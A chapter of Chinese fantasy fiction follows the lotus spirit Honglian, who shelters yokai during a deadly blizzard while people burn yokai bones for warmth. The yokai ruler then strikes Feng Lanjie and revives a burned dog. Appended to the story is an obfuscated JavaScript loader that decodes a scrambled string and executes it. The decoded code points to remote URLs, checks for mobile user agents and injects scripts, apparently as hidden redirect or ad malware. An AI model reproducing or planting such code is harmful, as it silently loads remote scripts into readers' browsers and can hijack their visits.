“莲君,吾等当如何?”

一池莲花红荡荡,半尺莲叶翠悠悠。红莲道:“告诉那些妖魔物怪,往南去,南方可有庇护。”

鹰迟疑振翅:“不救人?”

“不救人。”红莲半垂蕊金色眸子,“吾的家,从不许人入。”

鹰振翅飞离,树仍在风中簌簌,大概是过不了明天了,红莲撑着伞往回走。她只是一株莲花,一株莲花,是救不了人类的。

学堂有外人,红莲并不想理,进了自己的院子,晚上很晚的时候风蓝芥才回来,红莲捂住他有些冻红的脸颊,很是心疼,风蓝芥却很高兴地同她讲,这场雪能停住了。

红莲笑笑,没说话。

凡人弑神的有很多,但是这个是半神,半神的神秘就在于只有一半的神性,另一半是不可控制地混沌糅合,不定的复杂,不停的进化,而自然的神力永远在于不可毁灭,只要不剥掉带来神力的神性,这个作乱的半神是不会被毁灭的。

人类是一种不断将不可能变为可能的存在,但这次,人类没有那个时间,在他们能亲眼见到敌人之前,大雪就会淹没他们。

第十七天,天寒地冻,路边有很多僵硬的身躯,红莲镇有越来越多的人,混迹在人中的别的东西,红莲在照顾那池莲花的时候,一个人为她撑了伞,红莲歪头,是秀灵道人,看起来些许憔悴,眼下乌青。

“还会有更多人来红莲镇,”秀灵道人说,“您将这池莲花藏起来吧。”

红莲道:“若能藏起来,吾就藏起来了。玄桦不明白,汝是半人,怎么可能不明白?”

不是所有混血都不像人,有些混血,偏偏不像妖。

秀灵道人皱起眉头,看那池莲花,他眼中只有黑白二色,深浅不同,莲花池下的土壤尽是流淌的墨水,芳香又恐怖,池中莲花朵朵,尽是盛放,莲叶田田,尽是繁茂,困住池下物,护着池下物。

那是一具小小的尸骨。

“吾有旧友,伟力卓然,它有了一个孩子,那孩子继承它的血脉,却无法承受那股力量,困顿折磨,被力量挫折而死,这便是那孩子的尸骨。”

秀灵道人面有愕然。

红莲说:“旧友力量伟然,侵蚀土地,吾无法毁去,便困在此地,秀灵,玄桦能摘下那些莲花是伊的本事,但伊也就只到那里了。”

秀灵道人沉默许久,问:“这具尸骨,能否——”

红莲说:“秀灵,汝要拿火把去煮沸一江水吗?”

秀灵道人被惊醒。

红莲往回走,秀灵道人为她撑伞,红莲说,往北去,祂自北方来,便不会往北归。

第二十天的时候,烛火已经燃不起了,红莲在昏暗的房间内,冰冷阴暗,只有她一个,她的丈夫正在别的地方讨论着如何拯救人类的世界,他昨天问她能否保住更多的人,他的眼底有着阴暗和她在玄桦眼里看到过的东西。

他们有了可以燃烧取暖的“柴”。

秀灵道人在门外说:“他们用妖的尸骨取暖,风蓝芥不知道。”

红莲点点头,秀灵道人则十分担忧,道:“他们看破您的幻相了。”红莲看看他,问他要不要吃糖葫芦,秀灵道人拉开门,风吹了进来,却并不冷,秀灵道人散发着红莲最常能在他身上感受到的悲伤。红莲坐在垫子上冲他招招手,秀灵道人走向她,躺在冰凉的木地板上,枕着红莲的膝盖,柔软温暖的布料让他忍不住虚弱,朝着空荡荡的夜和纷飞的雪,秀灵道人说,娘亲,孩儿只剩下您了。

他的父亲,那个教养了他的人,在很多年前就选择去救更多的人,他崇拜那样的正义,也走向了相同的道路,但是,他的母亲,他的母亲,不可以成为正义的牺牲品。

红莲抚摸他的头发,看着黑夜。

她知道,自己的丈夫已经被一个僧人说服了,风蓝芥已经像玄桦一样答应了去赴死、转世,然后去做什么三世圣人。这是风蓝芥最像玄桦的地方,他心怀众生。

然后呢?

风蓝芥,你和玄桦……会做一样的选择吗?

一只拳头揍了风蓝芥的脸,他飞出去了,掉了两颗后槽牙。

这是谁也没预料的事情,无论是那些高僧、大师、武者,谁都没有预料到这一拳,他们都没有感受到动手的存在,他们刚刚说服这个年轻人为了天下献祭自己,怎么会就要他死呢?

盆中的火晃悠悠,比外面风雪温暖的多的刺激爬进他们的大脑,刺激着他们流出了冷汗。

“不要动,”白衣的男人在阴影里轻声细语,“会受伤的。”

近乎透明的丝线眨眼间布满这间屋子,很坚韧,并不是不能破,但是让他们忌惮的并不是那个男人,空气粘稠着,他们望向站在风蓝芥身边的娇小的身躯。

万顷之力从头压下,脊骨弯下屈服的弧度,眼睛转动出恐惧的视线。

那是力量。

坚硬的白色绣着金,在光芒下熠熠生辉——在力量的光芒下,瞳孔中盛满流淌的金色熔岩,沿着视线就要烧光灵魂。

那不是人类。

“吾是妖境之主,”是风吹过深渊,也是惊雷劈开古木,是山摇,也是海啸,是焚烧的火,是冻结的冰,“来此为一事——”

威严的力量扑灭了火盆,于是,唯一的光,金色的光,甩出一滴红色的发光的宝石一般的血,落在火盆里,火盆里烧起了金色的光,在那光里,苍白的骨头重新站立起,生出血肉皮相。

一条棕色的细犬从火盆里跳出来,匍匐在非人的脚旁。

“尔等,何敢焚烧吾庇护之在?”

一片死寂里,风蓝芥吐出了红莲为他煮的菜肴,混着血,他爬不起来,脑袋沉重,不该是这样,怎么能,他们怎么能——

泪水从这个天真的、无知的人眼中流出来,他为那些生命哭泣、悲痛。

隔着泪水,他隐隐约约看见同行者脸上混杂痛苦的疯狂。

!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();